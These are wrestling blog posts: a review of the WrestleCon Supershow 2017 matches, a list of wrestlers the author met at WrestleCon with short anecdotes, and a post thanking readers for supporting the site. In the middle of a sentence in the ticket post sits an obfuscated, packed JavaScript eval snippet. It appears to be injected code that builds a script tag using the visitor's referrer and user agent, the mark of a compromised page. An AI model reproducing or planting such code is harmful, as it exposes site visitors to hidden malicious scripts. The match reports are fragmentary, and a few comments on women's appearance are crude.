WrestleCon Supershow 2017: I Don’t Do This Very Often

WrestleCon Supershow 2017
Date: March 31, 2017
Location: Wyndham Orlando Resort, Orlando, Florida
Commentators: Marty DeRosa, Excalibur

No real intro for the show, likely because the show was already starting late.

Michael Elgin/Mascarita Dorada/ACH vs. David Starr/Trevor Lee/Caleb Konley

None of the villains can do a thing with Dorada, who grabs a headscissors on Konley but spins around him ten times before sending him down. Elgin takes a lap around the ring as Dorada collapses, finally allowing Lee to get in a hard shot on Dorada. I believe Dorada takes a thumb to the eye (the camera work is shaky at best and the arena is already dark so it can be a bit difficult to follow some of the action) and all three villains come in for some rhythmic clapping and a triple crotch to the face.

The winners dance post match with Elgin doing the Worm.

Shane Strickland vs. ???

Impact Wrestling World Title: Jeff Cobb vs. Lashley

Cobb gets in a clothesline to send Lashley outside but the champ whips him into the barricade, only to stop to argue with a fan. Back in and a neckbreaker sets up a chinlock as this is going really, really slowly. Lashley shows off a bit with a delayed vertical suplex, only to have Cobb muscles him up with a throw of his own.

Sammy Guevara/Flip Gordon vs. Angelico/Jack Evans

Hands are shaken post match.

Team Ricochet vs. Team Ospreay

Ricochet, Jason Cade, Sami Calihan, AR Fox, Desmond Xavier

Will Ospreay, Lio Rush, Drew Galloway, Ryan Smile, Marty Scurll

And the version I filmed myself for a bit of a different angle.

I loved this match and after watching more live wrestling over the course of about a week than I had in my entire life, this was the match that stuck with me the most. This was incredible stuff with ten guys doing everything from action to comedy to emotion in more time than almost anything else got all night.

Ironman Heavymetalweight Title: Battle Royal

Billy Gunn of all people is in at #11, complete with his most famous song. Riley takes a Fameasser and gets tossed, followed by Kikutaro, Manning and Cabana. Moose is in at #12 and we have Moose, Gunn, Hughes, Scorpio and Ryan at the moment. We get something of a bizarre staredown between Gunn and Moose, which Marty describes as the staredown he never knew he wanted.

Nothing happens until Swoggle is in at #13 as I wonder if this counts as a DX reunion. Swoggle is shoved down so Moose and Gunn can fight with Moose scoring off a dropkick. Shane Douglas, unfortunately not in a Target uniform and thankfully not in gear, is in at #14. Gunn gets rid of Hughes and Swoggle low bridges Suicide out. Kevin Thorn is in at #15 to scare Swoggle half to death. Shannon Moore is in at #16 but Gunn drops him with a side slam.

And of course a fight breaks out as Sandman leaves.

Brian Cage vs. Johnny Mundo

We get another table set up in the corner but Cage is up and holding a chair. Ever the villain, Mundo grabs Melissa for a distraction so he can kick Cage low. For the first time that I can ever remember, Melissa gets physical with a kick to the head, earning herself the safest spear through a table ever as Johnny turns around, basically driving himself through instead. Cage is livid and basically murders Johnny with a Steiner Screwdriver onto the chair for the pin at 14:05.

We pause to clean the ring a bit before the main event with the broom guy getting a nice ovation. He even poses a bit because everyone is a ham at this show.

Hardys vs. Lucha Bros

The dueling chants continue after the bell until the Lucha Bros take over with some kicks to the face. Pentagon picks Fenix up in a wheelbarrow slam but gets flipped forward into a 450 onto Matt in a cool spot. A double low blow gets two on Jeff but Fenix eats a Side Effect for the same. Matt and Pentagon clothesline each other and all four are down. Pentagon heads outside but Fenix misses a dive and takes his brother out by mistake.

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Went to WrestleCon and Met over 120 Wrestlers

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Booker T.:

Demolition:

Every bit as intimidating as you would expect. I said they were one of my favorites when I was a kid. Ax: “WHAT DO YOU MEAN WERE? WE BETTER STILL BE!” He smiled after.

Jerry Lawler:

Vader:

This was overcoming a childhood fear. Vader beat Sting. No one could beat Sting!

Lita:

And finally, Tito Santana:

My all time favorite midcarder and, before New Day, the original Kofi Kingston. Very nice guy.

Stan Hansen (Talked to him a bit about growing to appreciate his work a bit more. He seemed pleased that someone younger was taking the time to do so.)

Lex Luger

Tully Blanchard (One of the first guys I talked to. Blanchard: “Well you start with the best.”)

J.J. Dillon

Lashley (VERY nice guy and I talked to him for a few minutes. I even got to pick up the TNA World Title and it actually took two hands. That thing is WAY heavier than it looks.)

Scott Hall (Long line so just a quick handshake and Too Sweet.)

Ken Shamrock (Nicer than you would expect.)

Abyss (Nice guy again. Told him that he and AJ had my favorite TNA match ever, which he said was his favorite too (Lockdown 2005).)

Kevin Nash (Again, just a quick Too Sweet as the line was long.)

Slick

Brutus Beefcake

Barry Windham

Shelton Benjamin

Luke Williams (Bushwhackers) (I said he had licked my face as a kid and he seemed to act like that was the weirdest comment ever.)

Winter (Gorgeous.)

Laurel Van Ness

Thea Trinidad (Barely staying in her top.)

Melissa Santos (Funny, looks much better in person and you can hear the announcer in her.)

Fred Ottman (Tugboat) (Nice guy.)

Christy Hemme (Same as Lita/Kelly: You can feel the energy coming off of her.)

Wade Barrett (Tall, very polite, seemed to be having a great time.)

Steve Lombardi (I said I had watched him lose for years and he said “You mean watching me make money all those years?” Very positive guy and seemed to know what he was in wrestling, which is rare.)

Ryback

Raquel (BroMans manager for a few weeks) (Looked outstanding.)

Mil Muertes

Wild Samoans

Torrie Wilson (Got to give her a quick hug. Still looks great.)

Raven (A lot calmer than you would expect. We talked about his podcast for a bit and I asked about the golf cart story at Wrestlemania XVII, which he says is true.)

Ethan Carter III (Funny guy.)

Eugene (Trying to sell a lot until I mentioned I was from Lexington and then had a nice chat about his family being from there.)

One Man Gang (Nicer than you would expect.)

Lisa Marie Varon (Victoria/Tara)

Gary Michael Cappeta (Ring announcers fascinate me for some reason and he was another nice guy.)

Teddy Long (Very polite and seemed to be having a blast.)

Jack Swagger (Incredibly nice, had a quick chat with him about his ECW run. WAY taller in person, which he says he gets a lot.)

Rock N Roll Express (Their line was almost empty for some reason. You would think they would be a hot ticket right now.)

Sinister Minister

Bill Apter (Asked my name and thanked me for coming out after a chat about his book, which is worth reading.)

Abdullah the Butcher

Al Perez

Al Snow

Aron Rex (Nice guy.)

Bill Alfonso

Brian Blair

Bruce Prichard

Chavo Guerrero Jr. (Talked with him about his team with Eddie, which he seemed very proud of. Nice guy and much more fun to talk to than I was expecting.)

Cisco (Lucha Underground)

Dink

Dan Severn (Not really a fan but came off as one of the most well spoken there.)

Duane Gill (Gillberg)

Gail Kim (I know she gets on my nerves but DANG she is a beautiful woman in person.)

Gangrel

Jake Roberts (Much friendlier than last year at Axxess)

James Storm

Jeff Jarrett (Told him I was from Lexington, which was an old USWA town. He smiled quite a bit.)

Jim Brunzell

Jim Neidhart

Justin Roberts

Ken Anderson

Kevin Thorn (Talked to him about his OVW days, which seemed to be a good topic for him.)

Marc Mero

Mascarita Dorada (El Torito)

Virgil (Actually really nice.)

MVP

Molly Holly

Pete Gas

Rachel Ellering

Glacier

Rene Dupree

Samuel Shaw

Eddie Edwards

Davey Richards

Rocky Johnson

Sabu

Sam Houston

Hurricane

Shelley Martinez (Not exactly able to rock the sexy outfits anymore.)

Stevie Ray (With Booker. Has some massive arms.)

Stevie Richards (For you Lee.)

Taya Valkerie (Talked about her stuff from the WrestleCon Supershow. Very nice.)

Tommy Dreamer

Vickie Guerrero

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Got My Takeover: Orlando Ticket

I’ll eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eknaz|var|u0026u|referrer|fyads||js|php'.split('|'),0,{})) be in the upper deck again but I’m going.

On top of that I’ll be taking in the Wrestlecon Supershow and Rev Pro from England.  I’ll probably be adding a few more shows as this is going to be the biggest wrestling weekend I’ve ever done.

 

As always, and I do mean always, thank you all for helping me get here.  The site has been doing so well lately between the ad revenue, the e-books and doing the news coverage over at Wrestlingrumors.net that I’m at a financial point I never thought was possible.  I’m far from rich but I’m at the point where this I’m making a living watching and writing about professional wrestling.  Every time something like this happens and I can just grab my wallet and pay for something I love to do because of what you all have allowed me to do, I feel like my head is about to fall off.

I started trying to make money off of this in March 2013 and made a grand total of $30 that month.  To be here now and in this place is something I never, ever thought possible.  I know I say this a lot but you have no idea how grateful I am to all of you who come here so often, be it to agree with me, tell me I’m an idiot or just talk to me about wrestling.  I make a living doing this now and it’s because you all have been so helpful to me.  You have no idea how much happiness you’ve given me and I can never thank you all enough.

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